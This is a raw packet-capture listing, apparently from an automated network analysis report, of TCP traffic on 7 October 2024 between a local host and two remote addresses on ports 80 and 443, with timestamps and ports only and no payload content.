Oct 7, 2024 19:33:18.307959080 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.307987928 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.308002949 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.308161020 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.308172941 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.308211088 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.308331013 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.308345079 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.308357000 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.308377028 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.308407068 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.308485031 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.308496952 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.308507919 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.308538914 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.308551073 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.308633089 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.308645010 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.308655024 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.308675051 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.308701992 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.308799982 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.308810949 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.308821917 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.308847904 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.308861971 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.308958054 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.308971882 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.308983088 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.309009075 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.309057951 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.309412956 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.309425116 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.309436083 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.309449911 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.309463024 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.309463978 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.309474945 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.309492111 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.309510946 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.368144035 CEST	443	49749	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.368321896 CEST	443	49749	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.368407965 CEST	49749	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.368489027 CEST	49749	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.368489027 CEST	49749	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.368504047 CEST	443	49749	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.368513107 CEST	443	49749	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.370784044 CEST	49755	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.370805025 CEST	443	49755	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.370879889 CEST	49755	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.371022940 CEST	49755	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.371035099 CEST	443	49755	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.429227114 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.429241896 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.429254055 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.429271936 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.429276943 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.429286957 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.429301023 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.429301977 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.429313898 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.429326057 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.429337978 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.429341078 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.429352045 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.429364920 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.429369926 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.429388046 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.429408073 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.429559946 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.429573059 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.429584026 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.429610968 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.429631948 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.429649115 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.429663897 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.429699898 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.430171013 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.430217028 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.430224895 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.430238962 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.430260897 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.430274963 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.430282116 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.430294991 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.430334091 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.431533098 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.431569099 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.431577921 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.431581974 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.431605101 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.431622982 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.431838989 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.431881905 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.431952000 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.431965113 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.431982040 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.431993008 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.431994915 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.432005882 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.432013988 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.432019949 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.432041883 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.432060003 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.432080030 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.432122946 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.432135105 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.432158947 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.432178974 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.432307959 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.432320118 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.432358027 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.432432890 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.432444096 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.432470083 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.433264971 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.433320045 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.433320045 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.433341026 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.433353901 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.433355093 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.433373928 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.433373928 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.433394909 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.433409929 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.433681011 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.433697939 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.433710098 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.433736086 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.433760881 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.433773994 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.433788061 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.433841944 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.433851004 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.433862925 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.433875084 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.433882952 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.433902025 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.433913946 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.433933020 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.433940887 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.433948994 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.433969021 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.433980942 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.435117960 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.435132027 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.435142994 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.435156107 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.435178041 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.435204983 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.435206890 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.435218096 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.435250998 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.436269045 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.436289072 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.436300993 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.436314106 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.436336994 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.436389923 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.436403036 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.436434031 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.510962009 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.511018038 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.511063099 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.511075974 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.511087894 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.511100054 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.511116028 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.511120081 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.511135101 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.511147976 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.511153936 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.511161089 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.511166096 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.511177063 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.511198044 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.511205912 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.511226892 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.511239052 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.511277914 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.511346102 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.511358976 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.511369944 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.511400938 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.511418104 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.511430979 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.511442900 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.511460066 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.511471033 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.511485100 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.511523962 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.511584044 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.511595964 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.511621952 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.511632919 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.511670113 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.511682987 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.511696100 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.511710882 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.511728048 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.511905909 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.511918068 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.511930943 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.511950016 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.511981010 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.512140036 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.512152910 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.512160063 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.512202978 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.512216091 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.512228966 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.512236118 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.512242079 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.512252092 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.512259960 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.512273073 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.512294054 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.512304068 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.512327909 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.512392044 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.512403965 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.512415886 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.512427092 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.512444019 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.512454987 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.512530088 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.512543917 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.512567043 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.512578964 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.512588024 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.512599945 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.512615919 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.512624979 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.512629032 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.512635946 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.512643099 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.512661934 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.512698889 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.512767076 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.512779951 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.512785912 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.512814045 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.512829065 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.512839079 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.512854099 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.512876034 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.512897015 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.513143063 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.513154984 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.513207912 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.513252974 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.513293982 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.513305902 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.513338089 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.513349056 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.513372898 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.513386011 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.513397932 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.513411045 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.513425112 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.513448954 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.513454914 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.513467073 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.513478041 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.513490915 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.513494015 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.513520002 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.513545036 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.513686895 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.513735056 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.513799906 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.513812065 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.513823986 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.513843060 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.513859987 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.513977051 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.514024019 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.514035940 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.514049053 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.514060020 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.514079094 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.514090061 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.514112949 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.514203072 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.514215946 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.514228106 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.514245033 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.514250994 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.514271975 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.514302015 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.514391899 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.514405966 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.514419079 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.514446974 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.514448881 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.514461040 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.514477015 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.514488935 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.514501095 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.514514923 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.514556885 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.514651060 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.514663935 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.514676094 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.514700890 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.514725924 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.515053034 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.515100002 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.515114069 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.515126944 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.515153885 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.515166044 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.515619040 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.515633106 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.515647888 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.515666962 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.515666962 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.515681028 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.515681982 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.515696049 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.515697002 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.515710115 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.515712023 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.515723944 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.515753984 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.515763044 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.515889883 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.515911102 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.515954018 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.515974998 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.515988111 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.516000032 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.516014099 CEST	80	49718	46.8.231.109	192.168.2.7
